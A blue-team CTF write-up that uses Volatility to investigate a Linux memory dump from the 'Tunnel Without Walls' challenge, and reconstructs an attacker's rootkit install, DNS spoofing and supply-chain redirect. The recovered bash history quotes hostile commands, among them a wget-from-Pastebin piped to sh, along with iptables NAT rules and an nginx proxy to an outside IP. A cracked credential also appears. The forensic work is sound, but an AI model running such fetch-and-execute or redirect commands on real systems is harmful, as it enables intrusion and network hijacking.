Holmes CTF 2025
HTB’s first-ever Blue CTF!
In this CTF, Im playing with my team, HCS. As a blue team player, this ctf was the one I waited for. At this CTF, I solved one challenge called The Tunnel Without Walls. And here's the write-up for that challenge.
The Tunnel Without Walls
Difficulty: Hard
A memory dump from a connected Linux machine reveals covert network connections, fake services, and unusual redirects. Holmes investigates further to uncover how the attacker is manipulating the entire network!
In this challenge, we're given the linux memory dump. Like the steps of my previous writeup, we can check it use Volatility to setup and start analyze. In order to retrieve the flag, we must answer a series of questions.
vol -f memdump.mem banners.Banners
Volatility 3 Framework 2.23.0
Progress:  100.00		PDB scanning finished                  
Offset	Banner
0x67200200	Linux version 5.10.0-35-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
0x7f40ba40	Linux version 5.10.0-35-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
0x94358280	Linux version 5.10.0-35-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
0xa9fc5ac0	Linux version 5.10.0-35-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
0x12ee9c300	Linux version 5.10.0-35-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)From that, we can know that the Linux distro is Debian and the version is 5.10.0-35-amd64 . Then, we can find the symbols table for the kernel we found in this repo. Now that we have found and downloaded it, we can start the analysis!
What is the Linux kernel version of the provided image? (string)
We already found the linux kernel version as we run the banners.Banners plugin to found the correct symbols table, 5.10.0-35-amd64 .
The attacker connected over SSH and executed initial reconnaissance commands. What is the PID of the shell they used? (number)
To know this, we can use linux.bash plugins to check the bash history from the linux memory dump.
vol -f memdump.mem -s ./symbol-dir/ linux.bash
Volatility 3 Framework 2.23.0
Progress:  100.00		Stacking attempts finished           
PID	Process	CommandTime	Command
13608	bash	2025-09-03 08:16:48.000000 UTC	id
13608	bash	2025-09-03 08:16:52.000000 UTC	 
13608	bash	2025-09-03 08:16:52.000000 UTC	cat /etc/os-release 
13608	bash	2025-09-03 08:16:58.000000 UTC	uname -a
13608	bash	2025-09-03 08:17:02.000000 UTC	ip a
13608	bash	2025-09-03 08:17:04.000000 UTC	0
13608	bash	2025-09-03 08:17:04.000000 UTC	ps aux
13608	bash	2025-09-03 08:17:25.000000 UTC	docker run -v /etc/:/mnt -it alpine
13608	bash	2025-09-03 08:18:11.000000 UTC	su jm
22714	bash	2025-09-03 08:18:15.000000 UTC	poweroff
22714	bash	2025-09-03 08:18:31.000000 UTC	id
22714	bash	2025-09-03 08:18:40.000000 UTC	wget -q -O- https://pastebin.com/raw/hPEBtinX|sh
22714	bash	2025-09-03 08:19:48.000000 UTC	nano /etc/sysctl.conf 
22714	bash	2025-09-03 08:20:04.000000 UTC	sysctl --system
22714	bash	2025-09-03 08:20:15.000000 UTC	iptables -A FORWARD -i ens224 -o ens192 -j ACCEPT
22714	bash	2025-09-03 08:20:15.000000 UTC	iptables -A FORWARD -i ens192 -o ens224 -m state --state ESTABLISHED,RELATED -j ACCEPT
22714	bash	2025-09-03 08:20:16.000000 UTC	iptables -t nat -A POSTROUTING -s 192.168.211.0/24 -o ens192 -j MASQUERADE
22714	bash	2025-09-03 08:20:31.000000 UTC	apt install -y dnsmasq
22714	bash	2025-09-03 08:20:50.000000 UTC	rm /etc/dnsmasq.conf 
22714	bash	2025-09-03 08:20:56.000000 UTC	nano /etc/dnsmasq.conf
22714	bash	2025-09-03 08:21:23.000000 UTC	systemctl enable --now dnsmasq 
22714	bash	2025-09-03 08:21:30.000000 UTC	systemctl restart dnsmasq
22714	bash	2025-09-03 08:21:38.000000 UTC	cd /tmp/
22714	bash	2025-09-03 08:21:42.000000 UTC	��������������������������������0
22714	bash	2025-09-03 08:21:42.000000 UTC	nano default.conf
22714	bash	2025-09-03 08:21:42.000000 UTC	��������������������������������0
22714	bash	2025-09-03 08:21:42.000000 UTC	��������������������������������0
22714	bash	2025-09-03 08:21:42.000000 UTC	��������������������������������0
22714	bash	2025-09-03 08:22:03.000000 UTC	docker run -d --name jm_proxy --network host -v $(pwd)/default.conf:/etc/nginx/conf.d/default.conf:ro nginx:alpine
22714	bash	2025-09-03 08:22:17.000000 UTC	rm default.conf 
22714	bash	2025-09-03 08:22:17.000000 UTC	/home/werni
63461	bash	2025-09-03 08:26:26.000000 UTC	p멺�U
63461	bash	2025-09-03 08:26:26.000000 UTC	sudo insmod /lime-5.10.0-35-amd64.ko "path=/tmp/memdump.mem format=lime"We know that there is some bash opened with different process. But we know that some reconnaissance command is like id , uname -a , ip a, etc. So its can be verified that the PID for the shell used is 13608  
After the initial information gathering, the attacker authenticated as a different user to escalate privileges. Identify and submit that user's credentials. (user:password)
In the Volatility, there is linux plugins that can recover the cached filesystem (directories, files, symlinks) linux.pagecache.RecoverFs . After recovering all the filesystem, we can find the /etc/passwd to find the stored password. Also, we can see the bash history that the threat is switching to use jm . So we can check it
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
werni:x:1000:1000:werni,,,:/home/werni:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
jm:$1$jm$poAH2RyJp8ZllyUvIkxxd0:0:0:root:/root:/bin/bash
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologinWe can use hashcat with the rockyou for the wordlist to get the password.

Then, we know the password is WATSON0 . And the credential is jm:WATSON0 .
The attacker downloaded and executed code from Pastebin to install a rootkit. What is the full path of the malicious file? (/path/filename.ext)
To know this, we actually can check the hidden modules first. In the Volatility, there's a plugins called linux.hidden_modules , it used to carves memory to find hidden kernel modules.
vol -f memdump.mem -s ./symbol-dir/ linux.hidden_modules
Volatility 3 Framework 2.23.0
Progress:  100.00		Stacking attempts finished           
Address	Name
0xffffc0aa0040	NullincrevengeIn the recovered filesystem we already have, we can find that kernel modules to find the path.

And we can know the path is /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko .
What is the email account of the alleged author of the malicious file? (user@example.com)
Once we know what the malicious file is, we can reverse it using the tools you are comfortable with.

Then, we know the email account of the alleged author is i-am-the@network.now .
The next step in the attack involved issuing commands to modify the network settings and installing a new package. What is the name and PID of the package? (package name,PID)
From the bash history, we know that the threat is installing a package with command apt install -y dnsmasq . So, we can use linux.pslist plugin to know the lists the processes present in a particular linux memory image. 
Volatility 3 Framework 2.23.0
OFFSET (V)	PID	TID	PPID	COMM	UID	GID	EUID	EGID	CREATION TIME	File output
0x9b33801eb000	1	1	0	systemd	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b33801ee000	2	2	0	kthreadd	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b33801e9800	3	3	2	rcu_gp	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b33801ec800	4	4	2	rcu_par_gp	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b338021c800	6	6	2	kworker/0:0H	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
0x9b3380218000	7	7	2	kworker/u4:0	0	0	0	0	2025-09-03 08:15:38.126627 UTC	Disabled
....
0x9b32812d6000	38687	38687	1	dnsmasq	106	30	106	30	2025-09-03 08:21:30.379503 UTC	Disabled
....So we know the PID for the dnsmasq is 38687 . Then, the answer is dnsmasq,38687 .
Clearly, the attacker's goal is to impersonate the entire network. One workstation was already tricked and got its new malicious network configuration. What is the workstation's hostname?
Refer to this writeup, we can do extract for the network traffic from the captured memory dump use bulk_extractor . After doing the extraction, we get the packets.pcap and we can do analyze for that to know the workstation hostname. We can use online tools like https://apackets.com to analyze the pcap file. And we get the workstation's

So, the workstation hostname that was already tricked is PARALLAX-5-WS-3     
After receiving the new malicious network configuration, the user accessed the City of CogWork-1 internal portal from this workstation. What is their username? (string)
With the captured network, we also can follow the HTTP protocol traffic to found the credentials for the threat used to access the City of CogWork-1 internal portal.

From that, we know the username used to login to the portal is mike.sullivan .
Finally, the user updated a software to the latest version, as suggested on the internal portal, and fell victim to a supply chain attack. From which Web endpoint was the update downloaded?
From the path of the malicious file, we also know the container used, 92931307-c5fd-4804-94f2-a8287e677bd6 . So, we can find the log for the traffics. This question take's time to find the correct endpoint, but after some times, we found the correct at: 
cat 92931307-c5fd-4804-94f2-a8287e677bd6/var/lib/docker/containers/d4759510b68a19bfd55ecb3675bcb3fe88ae0c4a648899ff944a34a234fef2cc/d4759510b68a19bfd55ecb3675bcb3fe88ae0c4a648899ff944a34a234fef2cc-json.log
{"log":"/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration\n","stream":"stdout","time":"2025-09-03T08:22:11.382181855Z"}
{"log":"/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/\n","stream":"stdout","time":"2025-09-03T08:22:11.382224094Z"}
{"log":"/docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh\n","stream":"stdout","time":"2025-09-03T08:22:11.382230667Z"}
{"log":"10-listen-on-ipv6-by-default.sh: info: can not modify /etc/nginx/conf.d/default.conf (read-only file system?)\n","stream":"stdout","time":"2025-09-03T08:22:11.382236067Z"}
{"log":"/docker-entrypoint.sh: Sourcing /docker-entrypoint.d/15-local-resolvers.envsh\n","stream":"stdout","time":"2025-09-03T08:22:11.382241367Z"}
{"log":"/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh\n","stream":"stdout","time":"2025-09-03T08:22:11.382246396Z"}
{"log":"/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh\n","stream":"stdout","time":"2025-09-03T08:22:11.390057117Z"}
{"log":"/docker-entrypoint.sh: Configuration complete; ready for start up\n","stream":"stdout","time":"2025-09-03T08:22:11.391743736Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: using the \"epoll\" event method\n","stream":"stderr","time":"2025-09-03T08:22:11.400446211Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: nginx/1.29.1\n","stream":"stderr","time":"2025-09-03T08:22:11.400462552Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: built by gcc 14.2.0 (Alpine 14.2.0) \n","stream":"stderr","time":"2025-09-03T08:22:11.40047745Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: OS: Linux 5.10.0-35-amd64\n","stream":"stderr","time":"2025-09-03T08:22:11.400482409Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576\n","stream":"stderr","time":"2025-09-03T08:22:11.400487058Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: start worker processes\n","stream":"stderr","time":"2025-09-03T08:22:11.400651246Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: start worker process 21\n","stream":"stderr","time":"2025-09-03T08:22:11.40165961Z"}
{"log":"2025/09/03 08:22:11 [notice] 1#1: start worker process 22\n","stream":"stderr","time":"2025-09-03T08:22:11.401687142Z"}
{"log":"192.168.211.52 - - [03/Sep/2025:08:25:48 +0000] \"GET /win10/update/CogSoftware/AetherDesk-v74-77.exe HTTP/1.1\" 200 12084 \"-\" \"AetherDesk/73.0 (Windows NT 10.0; Win64; x64)\" \"-\"\n","stream":"stdout","time":"2025-09-03T08:25:48.599517549Z"}So, we know that the endpoint is /win10/update/CogSoftware/AetherDesk-v74-77.exe .
To perform this attack, the attacker redirected the original update domain to a malicious one. Identify the original domain and the final redirect IP address and port. (domain,IP:port)
From the workstation before, we know that the IP is 192.168.211.52 . And with that IP, there is DNS connected with that

And we know, the most suspicious domain is updates.cogwork-1.net and for the redirect IP address and port, we can go back to the bash history when the threat edited the the default.conf to be used in the docker. We can check that from the recovered filesystem. 
server {
    listen 80;
    location / {
        proxy_pass http://13.62.49.86:7477/;
        proxy_set_header Host jm_supply;
    }
}So, we know that the domain is redirected to http://13.62.49.86:7477/. And the final answer is updates.cogwork-1.net,13.62.49.86:7477 .
Last updated